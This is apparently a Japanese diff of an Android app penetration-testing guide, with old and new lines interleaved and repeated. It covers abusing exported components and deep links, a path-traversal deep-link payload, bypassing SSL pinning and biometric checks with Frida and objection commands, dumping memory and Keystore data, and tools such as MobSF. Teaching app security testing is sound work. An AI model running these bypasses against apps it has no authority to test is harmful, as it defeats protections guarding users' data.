コンテンツプロバイダは基本的にデータを**共有**するために使用されます。アプリに利用可能なコンテンツプロバイダがある場合、そこから**機密データ**を抽出することができるかもしれません。また、潜在的に**SQLインジェクション**や**パストラバーサル**が脆弱であるかどうかをテストすることも興味深いでしょう。
[**Drozerを使用してコンテンツプロバイダを悪用する方法を学ぶ**](drozer-tutorial/#content-providers)
### **サービスの悪用**
[**サービスとは何かを思い出したい場合はこちらを読んでください。**](android-applications-basics.md#services)\
[**サービスとは何かを確認したい場合はこちらを読んでください。**](android-applications-basics.md#services)\
サービスのアクションは基本的に`onStartCommand`メソッドで開始されます。
サービスは基本的に**データを受信**し、それを**処理**して**応答**(またはしない)するものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合、それが何をしているかを理解するために**コード**をチェックし、機密情報の抽出、認証措置のバイパスなどを**動的に**テストする必要があります。\
[**Drozerを使用してサービスを悪用する方法を学ぶ**](drozer-tutorial/#services)
サービスは基本的にデータを**受信**し、それを**処理**して**応答**(またはしない)するものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合、それが何をしているかを理解するために**コード**をチェックし、機密情報の抽出、認証措置のバイパスなどを**動的に**テストする必要があります。\
[**Drozerを使用してサービスを悪用する方法を学ぶ**](drozer-tutorial/#services)
### **ブロードキャストレシーバの悪用**
[**ブロードキャストレシーバとは何かを思い出したい場合はこちらを読んでください。**](android-applications-basics.md#broadcast-receivers)\
[**ブロードキャストレシーバとは何かを確認したい場合はこちらを読んでください。**](android-applications-basics.md#broadcast-receivers)\
ブロードキャストレシーバのアクションは基本的に`onReceive`メソッドで開始されます。
ブロードキャストレシーバは特定の種類のメッセージを待機しています。レシーバがメッセージを処理する方法によって、脆弱性があるかもしれません。\
[**Drozerを使用してブロードキャストレシーバを悪用する方法を学ぶ**](./#exploiting-broadcast-receivers)
[**Drozerを使用してブロードキャストレシーバを悪用する方法を学ぶ**](./#exploiting-broadcast-receivers)
### **スキーム / ディープリンクの悪用**
MobSFなどのツールを使用したり、[こちらのスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)のようなスクリプトを使用して、ディープリンクを手動で検索できます。\
**adb**や**ブラウザ**を使用して宣言された**スキーム**を**開く**ことができます:
{% code overflow="wrap" %}
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
@ -400,76 +398,73 @@ _パッケージ名を**省略することができる**ことに注意してく
**実行されるコード**
**アプリで実行されるコード**を見つけるには、ディープリンクで呼び出されるアクティビティに移動し、**`onNewIntent`** 関数を検索します。
アプリで実行される**コードを見つける**には、ディープリンクで呼び出されるアクティビティに移動し、**`onNewIntent`** 関数を検索します。
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
**機密情報**
ディープリンクを見つけるたびに、URLパラメータを介して機密データパスワードなどを受信していないかどうかを確認してください。なぜなら、他のアプリケーションがディープリンクをなりすましてそのデータを盗む可能性があるからです!
ディープリンクを見つけるたびに、URLパラメータを介して機密データパスワードなどを受信していないかを確認してください。なぜなら、他のアプリケーションがディープリンクをなりすましてそのデータを盗む可能性があるからです
**パス内のパラメータ**
URLのパス内パラメータを使用しているディープリンクがあるかどうかも確認する必要があります。例えば、`https://api.example.com/v1/users/{username}` のような場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにパストラバーサルを強制することができます。\
URLのパス内パラメータを使用しているディープリンクがあるかどうかも**確認する必要があります**。例えば、`https://api.example.com/v1/users/{username}` のような場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにパストラバーサルを強制することができます。\
アプリ内で正しいエンドポイントを見つけると、**オープンリダイレクト**(パスの一部がドメイン名として使用されている場合)、**アカウント乗っ取り**CSRFトークンなしでユーザーの詳細を変更でき、脆弱性のあるエンドポイントが正しいメソッドを使用している場合などを引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)。
**その他の例**
**さらなる例**
リンクに関する興味深いバグ報奨レポートは[こちら](https://hackerone.com/reports/855618)。
リンクに関する興味深いバグ報奨レポートは[こちら](https://hackerone.com/reports/855618)。
### トランスポート層保護の不十分さ
### トランスポート層の検査と検証の失敗
* **証明書検査の不足:** Androidアプリケーションは、提示された証明書の正体を検証できません。ほとんどのアプリケーションは警告を無視し、提示された自己署名証明書を受け入れます。一部のアプリケーションは代わりにトラフィックをHTTP接続経由で送信します。
* **弱いハンドシェイク交渉:** アプリケーションとサーバーはSSL/TLSハンドシェイクを実行しますが、MITM攻撃に対して脆弱な暗号スイートを使用します。そのため、攻撃者はその接続を簡単に復号化できます。
* **プライバシー情報の漏洩:** 多くの場合、アプリケーションはセキュアチャネルを介して認証を行いますが、その他の接続はすべて非セキュアチャネルを介して行います。これは、セッションクッキーやユーザーデータなどの残りの機密データが悪意のあるユーザーによって傍受される可能性があるため、アプリケーションのセキュリティに貢献しません
- Androidアプリケーションは、**証明書を適切に検査しない**ことがあります。これらのアプリケーションが警告を見落としたり、自己署名証明書を受け入れたり、一部の場合にはHTTP接続に戻ったりするのは一般的です。
- SSL/TLSハンドシェイク中の**交渉が弱い場合**があり、安全でない暗号スイートが使用されています。この脆弱性により、接続は中間者攻撃に対して脆弱になり、攻撃者がデータを復号化できるようになります。
- アプリケーションがセキュアチャネルを使用して認証し、その後他のトランザクションで非セキュアチャネルを通信すると、**プライベート情報の漏洩**のリスクがあります。このアプローチは、セッションクッキーやユーザーの詳細などの機密データを悪意のあるエンティティによる傍受から保護できなくなります
提示された3つのシナリオから、**証明書の正体を検証する方法**について説明します。残りの2つのシナリオは、サーバーの**TLS構成**と**アプリケーションが暗号化されていないデータを送信するかどうか**に依存します。ペンテスターは、サーバーのTLS構成を自分でチェックし、**機密情報が暗号化されていない/脆弱な**チャネルを介して送信されていないかを検出する必要があります([こちら](../../network-services-pentesting/pentesting-web/#ssl-tls-vulnerabilites))。
この種の脆弱性を発見して修正する方法についての詳細は[**こちら**](https://manifestsecurity.com/android-application-security-part-10/)。
#### 証明書の検証
**SSL Pinning**
**証明書の検証**に焦点を当てます。サーバーの証明書の整合性を検証してセキュリティを強化する必要があります。これは、安全でないTLS構成や暗号化されていないチャネルを介して機密データを送信することが重大なリスクをもたらすためです。サーバー証明書の検証手順や脆弱性の対処についての詳細なガイダンスについては、**[このリソース](https://manifestsecurity.com/android-application-security-part-10/)**を参照してください。
SSL接続を行う際、クライアントAndroidアプリは、サーバーの証明書が信頼されるルート証明書に検証可能な信頼チェーンを持ち、要求されたホスト名と一致することを確認します。これにより、**中間者攻撃MITM**の問題が発生します。\
証明書ピンニングでは、Androidアプリケーション自体がサーバーの証明書を含み、同じ証明書が提示された場合にのみデータを送信します。\
**機密情報が送信されるサイトにはSSL Pinningを適用することが推奨**されています。
#### SSL Pinning
### HTTPトラフィックの検査
SSL Pinningは、アプリケーションがアプリケーション内に保存された既知のコピーに対してサーバーの証明書を検証するセキュリティ対策です。この方法は、MITM攻撃を防ぐために重要です。SSL Pinningの実装は、機密情報を扱うアプリケーションに強く推奨されます。
まず第一に、使用する**プロキシ**ツールの**証明書**を**インストール**する必要があります。おそらくBurpを使用するでしょう。プロキシツールのCA証明書をインストールしないと、プロキシで暗号化されたトラフィックを表示できない可能性があります。\
**必ず**、[**カスタムCA証明書をインストールする方法を学ぶためにこのガイドを読んでください**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)**。**
#### トラフィック検査
**APIレベル24以上を対象とするアプリケーションの場合、デバイスにBurp CA証明書をインストールするだけでは不十分**です。この新しい保護をバイパスするには、ネットワークセキュリティ構成ファイルを変更する必要があります。したがって、このファイルを変更してCA証明書を承認するか、[**デバイスにインストールされたすべての証明書を再度受け入れるようにアプリケーションを強制する方法に関するチュートリアルを読んでください**](make-apk-accept-ca-certificate.md)
HTTPトラフィックを検査するには、プロキシツールの証明書Burpを**インストールする必要があります**。この証明書をインストールしないと、暗号化されたトラフィックはプロキシを介して表示されない場合があります。カスタムCA証明書をインストールする手順については、**[こちらをクリックしてください](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)**
**SSL Pinning**
**APIレベル24以上を対象とする**アプリケーションでは、ネットワークセキュリティ構成を変更してプロキシのCA証明書を受け入れる必要があります。これは、暗号化されたトラフィックを検査するために重要なステップです。ネットワークセキュリティ構成を変更する手順については、**[このチュートリアル](make-apk-accept-ca-certificate.md)**を参照してください。
SSL Pinningについては、ちょうど2つ前で説明しました。アプリケーションに実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。そうしないと、トラフィックを見ることができません。\
ここでは、この保護をバイパスするために使用したいくつかのオプションを紹介します:
#### SSL Pinningのバイパス
* [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用して、**apkを自動的に変更**して**SSL Pinningをバイパス**します。このオプションの最大の利点は、SSL Pinningをバイパスするためにルート権限が必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
SSL Pinningが実装されている場合、HTTPSトラフィックを検査するためには、それをバイパスする必要があります。この目的のためにさまざまな方法があります
* [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用して、**apkを変更してSSL Pinningをバイパス**する。このオプションの最大の利点は、SSL Pinningをバイパスするためにルートが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
* この保護をバイパスするために**Frida**以下で説明を使用することができます。Burp+Frida+Genymotionの使用方法については、[こちらのガイド](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)を参照してください。
* [**objection**](frida-tutorial/objection-tutorial.md)を使用して、**SSL Pinningを自動的にバイパス**することもできます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
* **MobSFダイナミック解析**を使用して、**SSL Pinningを自動的にバイパス**することもできます(以下で説明)。
* キャプチャしていないトラフィックがあると考える場合は、**iptablesを使用してトラフィックをBurpに転送**することができます。このブログを参照してください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
* [**objection**](frida-tutorial/objection-tutorial.md)を使用して、SSL Pinningを自動的にバイパスすることもできます`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
* **MobSFダイナミック解析**を使用して、SSL Pinningを自動的にバイパスすることもできます以下で説明
* キャプチャしていないトラフィックがあると考える場合は、**iptablesを使用してトラフィックをburpに転送**することができます。このブログを参照してください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
**一般的なWeb脆弱性**
#### 一般的なWeb脆弱性の検索
このステップでは、一般的なWeb脆弱性を探す必要があります。Web脆弱性に関する多くの情報がこの本に記載されているため、ここではそれらを言及しません
アプリケーション内で一般的なWeb脆弱性を検索することも重要です。これらの脆弱性の特定と緩和に関する詳細な情報は、この要約の範囲を超えて詳細に説明されています
### Frida
開発者、リバースエンジニア、セキュリティ研究者向けのダイナミックインストルメンテーションツールキット。詳細は[www.frida.re](https://www.frida.re)確認できます。\
**素晴らしいツールであり、実行中のアプリケーションにアクセスして、実行時にメソッドをフックして動作を変更したり、値を変更したり、値を抽出したり、異なるコードを実行したりできます。**\
**Androidアプリケーションのペンテストを行う場合は、Fridaの使用方法を知っている必要があります。**
[Frida](https://www.frida.re)は、開発者、リバースエンジニア、セキュリティ研究者向けの動的インストルメンテーションツールキットです。\
**実行中のアプリケーションにアクセスして、実行時にメソッドをフックして動作を変更したり、値を変更したり、値を抽出したり、異なるコードを実行したりできます。**\
Androidアプリケーションのペンテストを行う場合は、Fridaの使用方法を知っておく必要があります。
**Fridaの使用方法を学ぶ:** [**Fridaチュートリアル**](frida-tutorial/)\
**Fridaを使用したアクションのための"GUI":** [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)\
**Fridaに基づく他の抽象化:** [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)\
**ここでいくつかの素晴らしいFridaスクリプトを見つけることができます:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
* Fridaの使用方法を学ぶ[**Frida tutorial**](frida-tutorial/)
* Fridaを使用したアクションのための「GUI」[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
* OjectionはFridaの使用を自動化するのに最適です[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
* ここでいくつかの素晴らしいFridaスクリプトを見つけることができます[**https://codeshare.frida.re/**](https://codeshare.frida.re)
### **メモリのダンプ - Fridump**
アプリケーションがパスワードやニーモニックなど、保存すべきでない機密情報をメモリ内に保存していないかを確認してください。
アプリケーションがメモリ内に保存すべきでない機密情報(パスワードやニーモニックなど)を保存していないかを確認してください。
[**Fridump3**](https://github.com/rootbsd/fridump3)を使用して、アプリのメモリをダンプできます
[**Fridump3**](https://github.com/rootbsd/fridump3)を使用して、アプリのメモリをダンプできます
```bash
# With PID
python3 fridump3.py -u <PID>
@ -488,17 +483,19 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
### **Keystore内の機密データ**
Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、**十分な権限があれば**それにアクセスすることができます。アプリケーションはここに**平文の機密データを保存**する傾向があるため、ペンテストではrootユーザーとしてそれをチェックする必要があります。また、デバイスに物理的なアクセス権限を持つ者がこのデータを盗むことができる可能性があります。
Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、**十分な権限があればアクセス可能**です。アプリケーションはここに**平文の機密データを保存**する傾向があるため、ペンテストでは、rootユーザーまたはデバイスに物理的アクセス権限を持つ者がこれらのデータを盗む可能性があるかどうかを確認する必要があります。
アプリがKeystoreにデータを保存していたとしても、そのデータは暗号化されている必要があります。
Keystore内のデータにアクセスするには、このFridaスクリプトを使用できます: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
Keystore内のデータにアクセスするには、このFridaスクリプトを使用できます[https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **指紋/生体認証バイパス**
以下のFridaスクリプトを使用すると、Androidアプリケーションが実行している可能性がある**特定の機密領域を保護するために行われる指紋認証をバイパス**することができます:
以下のFridaスクリプトを使用すると、Androidアプリケーションが実行している可能性がある**特定の機密領域を保護するために行われる指紋認証をバイパス**することができます:**
{% code overflow="wrap" %}
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
@ -508,32 +505,38 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。そのため、フォアグラウンドに復元されるとアプリケーションよりも先に画像の読み込みが開始され、アプリがより速く読み込まれたように見えます。
ただし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセス権を持つがその情報を**盗み出す**可能性があります(スナップショットにアクセスするにはルート権限が必要です)。
ただし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセス権を持つ人物がその情報を**盗み出す**可能性があります(スナップショットにアクセスするにはルート権限が必要です)。
スナップショットは通常、以下の場所に保存されます:**`/data/system_ce/0/snapshots`**
Androidは、FLAG\_SECUREレイアウトパラメータを設定することで、スクリーンショットのキャプチャを**防止**する方法を提供しています。このフラグを使用することで、ウィンドウの内容はセキュアとして扱われ、スクリーンショットに表示されたり、非セキュアなディスプレイで表示されることが防止されます。
Androidは、FLAG\_SECUREレイアウトパラメータを設定することで、スクリーンショットのキャプチャを**防止**する方法を提供しています。このフラグを使用すると、ウィンドウの内容がセキュアとして扱われ、スクリーンショットに表示されたり、非セキュアなディスプレイで表示されたりするのを防ぎます。
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Androidアプリケーションアナライザー**
このツールは、ダイナミック解析中にさまざまなツールを管理するのに役立ちます:[https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer)
このツールは、動的解析中にさまざまなツールを管理するのに役立ちます:[https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer)
### インテントインジェクション
この脆弱性は、Webセキュリティの**オープンリダイレクト**に似ています。`Intent`クラスは`Parcelable`であるため、このクラスに属する**オブジェクト**を別の`Intent`オブジェクトの**追加データ**として**渡す**ことができます。\
多くの開発者は、この**機能**を利用して、`startActivity(...)`、`sendBroadcast(...)`などの危険なメソッドに埋め込まれた`Intent`を受け取り、**プロキシ** **コンポーネント**(アクティビティ、ブロードキャストレシーバー、サービス)を作成します。\
これは危険です。なぜなら、**攻撃者がアプリを強制して他のアプリから直接起動できない非公開コンポーネントを起動させたり、攻撃者にコンテンツプロバイダへのアクセス権限を与えたりできる**からです。**`WebView`**は、時々`Intent.parseUri(...)`メソッドを使用してURLを文字列から`Intent`オブジェクトに変更し、`startActivity(...)`に渡します。
開発者はしばしば、これらのインテントを処理し、`startActivity(...)`や`sendBroadcast(...)`などのメソッドに渡すアクティビティ、サービス、およびブロードキャストレシーバーなどのプロキシコンポーネントを作成しますが、これは危険です。
攻撃者がこれらのインテントを誤誘導して非公開のアプリコンポーネントをトリガーしたり、機密コンテンツプロバイダーにアクセスしたりすることを許可する危険があります。注目すべき例は、`WebView`コンポーネントが`Intent.parseUri(...)`を介してURLを`Intent`オブジェクトに変換し、それらを実行することで、悪意のあるインテントインジェクションが発生する可能性があります。
### 要点
- **インテントインジェクション**は、Webのオープンリダイレクトの問題に類似しています。
- 攻撃は、`Intent`オブジェクトをエクストラとして渡すことに関与し、安全でない操作を実行するためにリダイレクトできます。
- 非公開のコンポーネントやコンテンツプロバイダーを攻撃者にさらす可能性があります。
- `WebView`のURLから`Intent`への変換は、意図しないアクションを容易にする可能性があります。
### Androidクライアントサイドインジェクションおよびその他
おそらくWebからこの種の脆弱性については知っているでしょう。Androidアプリケーションで特に注意すべき脆弱性については次のとおりです
おそらくWebからこの種の脆弱性について知っているでしょう。Androidアプリケーションでこれらの脆弱性に特に注意する必要があります:
* **SQLインジェクション:** 動的クエリやContent-Providersを扱う場合は、パラメータ付きクエリを使用していることを確認してください。
* **JavaScriptインジェクションXSS:** すべてのWebViewでJavaScriptとプラグインサポートが無効になっていることを確認してくださいデフォルトで無効。[詳細はこちら](webview-attacks.md#javascript-enabled)。
* **ローカルファイルインクルージョン:** すべてのWebViewでファイルシステムアクセスが無効になっていることを確認してくださいデフォルトで有効`webview.getSettings().setAllowFileAccess(false);`。[詳細はこちら](webview-attacks.md#javascript-enabled)。
* **永続的なクッキー**: Androidアプリケーションがセッションを終了する場合、クッキーが取り消されないことがいくつかのケースであり、それがディスクに保存される可能性があります
* **SQLインジェクション:** 動的クエリやコンテンツプロバイダーを扱う場合は、パラメータ化されたクエリを使用していることを確認してください。
* **JavaScriptインジェクションXSS:** すべてのWebViewsでJavaScriptとプラグインサポートが無効になっていることを確認してくださいデフォルトで無効。[詳細はこちら](webview-attacks.md#javascript-enabled)。
* **ローカルファイルインクルージョン:** WebViewsはファイルシステムへのアクセスが無効になっている必要がありますデフォルトで有効- `(webview.getSettings().setAllowFileAccess(false);)`。[詳細はこちら](webview-attacks.md#javascript-enabled)。
* **永続クッキー**: Androidアプリケーションがセッションを終了する場合、クッキーが取り消されないことがいくつかのケースであり、それがディスクに保存される可能性があります
* [**クッキーのSecureフラグ**](../../pentesting-web/hacking-with-cookies/#cookies-flags)
***
@ -543,12 +546,12 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
**ハッキングの洞察**\
ハッキングのスリルと課題に深く入り込むコンテンツに参加
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかける
**最新の発表**\
**最新のアナウンスメント**\
最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手
**[Discord](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう!
@ -561,7 +564,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
![](<../../.gitbook/assets/image (61).png>)
**アプリケーションの脆弱性評価**を行うための素敵なWebベースのフロントエンド。動的解析も実行できますただし、環境を準備する必要があります
アプリケーションの脆弱性評価を行うための素敵なWebベースのフロントエンド。動的解析も実行できますただし、環境を準備する必要があります
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -574,21 +577,21 @@ MobSFは**diff/比較**分析と**VirusTotal**の統合も可能です_MobSF/
### MobSFによるアシストされたダイナミック分析
**MobSF**は**Android**での**ダイナミック分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要がありますVMやDockerでは機能しません。_注意: **genymotion**で最初にVMを**起動**してから**MobSF**を起動する必要があります。_\
**MobSFダイナミックアナライザー**は以下が可能です:
**MobSFダイナミックアナライザー**は以下を行うことができます:
* **アプリケーションデータのダンプ**URL、ログ、クリップボード、自分が作成したスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、電子メール、SQLiteデータベース、XMLファイル、およびその他の作成されたファイル。スクリーンショット以外はすべて自動的に行われますが、スクリーンショットを取得する場合は、スクリーンショットを取得したいタイミングで押すか、"**Exported Activity Tester**"を押してすべてのエクスポートされたアクティビティのスクリーンショットを取得する必要があります。
* **HTTPSトラフィックのキャプチャ**
* **Frida**を使用して**ランタイム情報**を取得する
**Android**のバージョンが5よりも新しい場合、**Fridaが自動的に開始**され、グローバル**プロキシ**設定が**トラフィックをキャプチャ**するように設定されます。テストされたアプリケーションからのトラフィックのみをキャプチャします。
**Android**のバージョンが5より新しい場合、**Frida**が自動的に起動され、グローバル**プロキシ**設定が**トラフィックをキャプチャ**するように設定されます。テストされたアプリケーションからのトラフィックのみをキャプチャします。
**Frida**
デフォルトでは、いくつかのFridaスクリプトを使用して**SSLピニングのバイパス**、**ルート検出**、**デバッガー検出**、および**興味深いAPIの監視**も行います。\
MobSFは**エクスポートされたアクティビティを呼び出し**、それらの**スクリーンショットを取得**してレポートに保存することもできます。
MobSFは**エクスポートされたアクティビティ**を呼び出し、それらの**スクリーンショット**を取得してレポートに保存することもできます。
ダイナミックテストを**開始**するには、緑色のボタン "**Start Instrumentation**" を押します。**Frida Live Logs**を押すと、Fridaスクリプトによって生成されたログが表示され、**Live API Monitor**を押すとフックされたメソッドへのすべての呼び出し、渡された引数、返された値が表示されます(これは "Start Instrumentation" を押した後に表示されます)。\
MobSFはまた、独自の**Fridaスクリプト**を読み込むことができまFridaスクリプトの結果をMobSFに送信するには `send()` 関数を使用します)。読み込むことができる**いくつかの事前書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)、それらを選択して "**Load**" を押し、"**Start Instrumentation**" を押します(そのスクリプトのログを "**Frida Live Logs**" で確認できます)。
MobSFはまた、独自の**Fridaスクリプト**をロードすることも可能でFridaスクリプトの結果をMobSFに送信するには `send()` 関数を使用します)。また、**いくつかの事前に書かれたスクリプト**をロードすることもできます(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)、それらを選択して "**Load**" を押し、 "**Start Instrumentation**" を押します(そのスクリプトのログを "**Frida Live Logs**" で確認できます)。
![](<../../.gitbook/assets/image (215).png>)
@ -599,13 +602,13 @@ MobSFはまた、独自の**Fridaスクリプト**を読み込むことができ
* **文字列比較のキャプチャ**: 非常に役立ちます。比較された2つの文字列と結果TrueまたはFalseを表示します。
* **クラスメソッドの列挙**: クラス名(例: "java.io.File")を入力すると、そのクラスのすべてのメソッドを表示します。
* **クラスパターンの検索**: パターンに一致するクラスを検索します
* **クラスメソッドのトレース**: クラス全体をトレースします(クラスのすべてのメソッドの入力と出力を表示します。デフォルトでは、MobSFはいくつかの興味深いAndroid APIメソッドをトレースします。
* **クラスメソッドのトレース**: クラス全体をトレースします(クラスのすべてのメソッドの入力と出力を参照。デフォルトでは、MobSFはいくつかの興味深いAndroid APIメソッドをトレースします。
使用したい補助モジュールを選択したら、"**Start Intrumentation**" を押して、すべての出力を "**Frida Live Logs**" で確認できます。
使用したい補助モジュールを選択したら、**Start Intrumentation** を押して、すべての出力を **Frida Live Logs** で確認できます。
**Shell**
Mobsfには、ダイナミック分析ページの一番下にいくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェルコマンド**を備えたシェルが付属しています。いくつかの興味深いコマンド:
Mobsfには、ダイナミック分析ページの一番下にいくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェルコマンド**を備えたシェルが用意されています。いくつかの興味深いコマンド:
```bash
help
shell ls
@ -616,13 +619,13 @@ receivers
```
**HTTPツール**
HTTPトラフィックがキャプチャされると、"**HTTP(S) Traffic**"の下にキャプチャされたトラフィックの見栄えが悪いビュー表示されるか、"**Start HTTPTools**"の緑のボタンで見栄えの良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**をBurpやOwasp ZAPなどの**プロキシ**に**送信**することができます。\
そのためには、_Burpを起動 -->_ _インターセプトをオフにする --> MobSB HTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
HTTPトラフィックがキャプチャされると、"**HTTP(S) Traffic**"の下にキャプチャされたトラフィックの見栄えが悪いビュー表示されるか、"**Start HTTPTools**"の緑のボタンで見栄えの良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**をBurpやOwasp ZAPのような**プロキシ**に**送信**することができます。\
そのためには、_Burpを起動 -->_ _Interceptをオフにする --> MobSB HTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.1:8080))。
MobSFで動的解析を終えたら、"**Start Web API Fuzzer**"を押して、**HTTPリクエストをファズ**し、脆弱性を探すことができます。
MobSFで動的解析を終えたら、"**Start Web API Fuzzer**"を押して、HTTPリクエストを**fuzz**し、脆弱性を探すことができます。
{% hint style="info" %}
MobSFで動的解析を実行した後、プロキシ設定が誤って構成され、GUIから修正できない場合があります。プロキシ設定を修正するには、次の手順を実行します:
MobSFで動的解析を行った後、プロキシ設定が誤って構成され、GUIから修正できない場合があります。プロキシ設定を修正するには、次の手順を実行します:
```
adb shell settings put global http_proxy :0
```
@ -631,15 +634,12 @@ adb shell settings put global http_proxy :0
### Inspeckageを使用したアシストされたダイナミック解析
[**Inspeckage**](https://github.com/ac-pm/Inspeckage)からツールを入手できます。\
このツールはいくつかの**フック**を使用して、**ダイナミック解析**を実行する際に**アプリケーション内で何が起こっているか**を知らせます。
このツールはいくつかの**フック**を使用して、**ダイナミック解析**を実行する際に**アプリケーション内で何が起こっているか**を知らせてくれます。
{% content-ref url="inspeckage-tutorial.md" %}
[inspeckage-tutorial.md](inspeckage-tutorial.md)
{% endcontent-ref %}
### [Yaazhini](https://www.vegabird.com/yaazhini/)
これは**GUIを使用して静的解析を実行するための優れたツール**です
これは、GUIを使用して**静的解析**を実行するための**素晴らしいツール**です
![](<../../.gitbook/assets/image (527).png>)
@ -656,29 +656,16 @@ qark --java path/to/specific/java/file.java
* 簡単な参照のためにすべての抽出されたファイルを表示します
* APKファイルを自動的にJavaおよびSmali形式に逆コンパイルします
* 一般的な脆弱性と動作のためのAndroidManifest.xmlの分析
* 一般的な脆弱性と動作のためのAndroidManifest.xmlを分析します
* 一般的な脆弱性と動作のための静的ソースコード分析
* デバイス情報
* インテント
* コマンドの実行
* SQLite参照
* ロギング参照
* コンテンツプロバイダ
* ブロードキャストレシーバ
* サービス参照
* ファイル参照
* 暗号参照
* ハードコードされた秘密情報
* URL
* ネットワーク接続
* SSL参照
* WebView参照
```
* その他
```bash
reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、.apkファイルを解析して脆弱性を検索するために使用されます。これは、APKを展開し、脆弱性を検出するための一連のルールを適用することによって行われます。
SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、.apkファイルを解析して脆弱性を検索するために使用できます。これは、APKを展開し、脆弱性を検出するための一連のルールを適用することによって行われます。
すべてのルールは`rules.json`ファイルに集約されており、各企業やテスターは必要なものを分析するために独自のルールを作成できます。
@ -690,17 +677,17 @@ super-analyzer {apk_file}
![](<../../.gitbook/assets/image (62).png>)
StaCoAnは、モバイルアプリケーションに対する**静的コード解析**を実行する開発者、バグバウンティハンター、倫理的ハッカーを支援する**クロスプラットフォーム**ツールです\*
StaCoAnは、モバイルアプリケーションの[静的コード解析](https://en.wikipedia.org/wiki/Static\_program\_analysis)を実行する開発者、バグバウンティハンター、倫理的ハッカーを支援する**クロスプラットフォーム**ツールです。
